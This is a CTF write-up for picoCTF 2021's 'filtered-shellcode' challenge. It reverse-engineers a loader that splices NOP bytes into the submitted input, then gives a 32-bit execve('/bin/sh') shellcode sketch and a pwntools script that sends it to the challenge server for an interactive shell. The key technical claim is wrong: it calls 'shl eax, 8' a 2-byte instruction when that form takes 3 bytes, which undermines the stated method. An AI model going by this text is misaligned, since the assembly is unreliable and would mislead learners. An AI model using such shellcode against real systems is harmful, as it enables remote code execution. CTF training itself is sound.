filtered-shellcode picoCTF 2021 Solution

Published: April 2, 2026

Description

A program that reads shellcode and runs it - but before executing, it rewrites your input by inserting NOP (0x90) bytes between your instruction bytes. In effect only some of your bytes survive intact, so you must lay out your shellcode in short instructions (with the inserted NOPs falling on instruction boundaries) so it still executes correctly and spawns a shell.

Download the binary and examine how it rewrites your input before running it.

bash
wget https://mercury.picoctf.net/static/.../fun
bash
chmod +x fun
bash
nc mercury.picoctf.net <PORT_FROM_INSTANCE>
This is a shellcoding challenge, not a buffer overflow: the program runs the bytes you provide directly, but it interleaves NOPs into them first. The Buffer Overflow Binary Exploitation guide covers the shellcode and execve("/bin/sh") fundamentals reused here.
  1. Step 1Reverse the loader to see how it mangles your shellcode
    Open the binary in Ghidra. main reads your shellcode and, if its length is odd, appends one NOP (0x90) to make it even. The execute function then copies your bytes into an executable buffer but inserts two NOP bytes after every two of your bytes. So in memory your shellcode becomes: [byte][byte][0x90][0x90][byte][byte][0x90][0x90]... Confirm this layout by single-stepping in GDB.
    bash
    # Ghidra: look at main (the odd-length NOP pad) and execute (the NOP interleave).
    bash
    gdb -q ./fun
    bash
    (gdb) break *<addr just before the call to execute>
    bash
    (gdb) run
    bash
    # feed an obvious marker like 'pqrst' (each a 1-byte instruction)
    bash
    (gdb) x/16bx $eax    # observe: pq 90 90 rs 90 90 t ...
    Learn more

    This is the whole gimmick: the loader does not reject bytes, it injects 0x90 (NOP) bytes between yours. After every two of your bytes, two NOPs are spliced in. A NOP does nothing and is one byte, so each pair of NOPs is just dead space the CPU slides through.

    The consequence: any instruction longer than two bytes gets torn apart, because NOPs land in the middle of its opcode and operands. Only instructions that fit in the two-byte windows survive intact. Your job is to write the whole payload out of short instructions that tolerate the inserted NOPs on their boundaries.

  2. Step 2Build the execve shellcode out of short instructions
    Rewrite a standard 32-bit execve('/bin/sh', 0, 0) so every instruction is short enough to survive. The problem instructions are the multi-byte pushes of the '/bin/sh' constant. Replace each 5-byte push of a 4-byte immediate with a sequence that builds the constant a byte at a time: zero a register, then repeatedly (mov a byte into the low 8 bits, add to the accumulator, shift left 8). Those mov/add/shl forms are each ~2 bytes, so the inserted NOPs fall harmlessly between them. Where a single push is unavoidably odd-aligned, pad with one NOP yourself so the splice lands on an instruction boundary.
    bash
    ; 32-bit execve('/bin/sh', 0, 0) rebuilt from short instructions (sketch).
    ; Goal: get '/bin/sh\x00' onto the stack and into ebx without any >2-byte push.
    xor eax, eax        ; 2 bytes
    xor ecx, ecx        ; 2 bytes
    push eax            ; null terminator (1 byte) + pad with a NOP if needed
    ; build "n/sh" and "//bi" in eax one byte at a time, push each:
    xor eax, eax
    mov cl, 0x68        ; 'h'  -> 2 bytes
    add eax, ecx        ; 2 bytes
    shl eax, 8          ; 2 bytes
    ; ...repeat mov cl,<char> / add / shl for each byte of the chunk...
    push eax
    ; (do the second 4-byte chunk the same way)
    mov ebx, esp        ; ebx -> "/bin/sh"
    xor ecx, ecx        ; argv = NULL
    xor edx, edx        ; envp = NULL
    mov al, 0x0b        ; sys_execve = 11
    int 0x80
    bash
    # Assemble and verify NO instruction exceeds the 2-byte window:
    python
    python3 - <<'EOF'
    from pwn import *
    context.arch = 'i386'
    context.os = 'linux'
    sc = asm(open('sc.asm').read())
    print('len', len(sc), 'hex', sc.hex())
    EOF
    Learn more

    A normal execve shellcode does something like push 0x68732f6e (a 5-byte instruction carrying the 4-byte string chunk "n/sh"). Five bytes cannot survive a filter that splices NOPs in every two bytes - the opcode and the immediate get cut apart.

    The fix is to construct the constant in a register byte by byte using only short instructions: xor eax, eax; then loop mov cl, <byte> / add eax, ecx / shl eax, 8 to shift each character into place; then a single push eax. Each of those is one or two bytes, so the inserted NOPs land between complete instructions and do nothing. This is the same idea as "spacing your instructions out" so the filter's insertions are harmless.

    Keep an eye on alignment: because NOPs are inserted after every two of your bytes, an odd-length instruction can shift the splice point into the next instruction. Inserting your own NOP to re-even the alignment (exactly what main does for an odd total length) keeps everything on a clean boundary.

  3. Step 3Send the shellcode and get a shell
    Connect to the service, send the carefully laid-out shellcode, and interact with the resulting shell to read the flag. The loader inserts the NOPs for you, so you send only your real bytes.
    python
    python3 - <<'EOF'
    from pwn import *
    
    context.arch = 'i386'
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    shellcode = asm(open('sc.asm').read())   # the short-instruction execve above
    p.send(shellcode)
    p.interactive()   # then: ls ; cat flag.txt
    EOF
    Learn more

    Once the (NOP-interleaved) shellcode runs execve("/bin/sh", NULL, NULL), you drop into an interactive shell. Use ls and cat flag.txt to read the flag off the server.

Flag

picoCTF{...}

The loader inserts NOP bytes between your shellcode bytes (two NOPs after every two of yours), so multi-byte instructions get shredded. Write execve("/bin/sh") using only short (1-2 byte) instructions - build the '/bin/sh' constant byte by byte with mov/add/shl - so the inserted NOPs fall on instruction boundaries and do nothing.

Want more picoCTF 2021 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next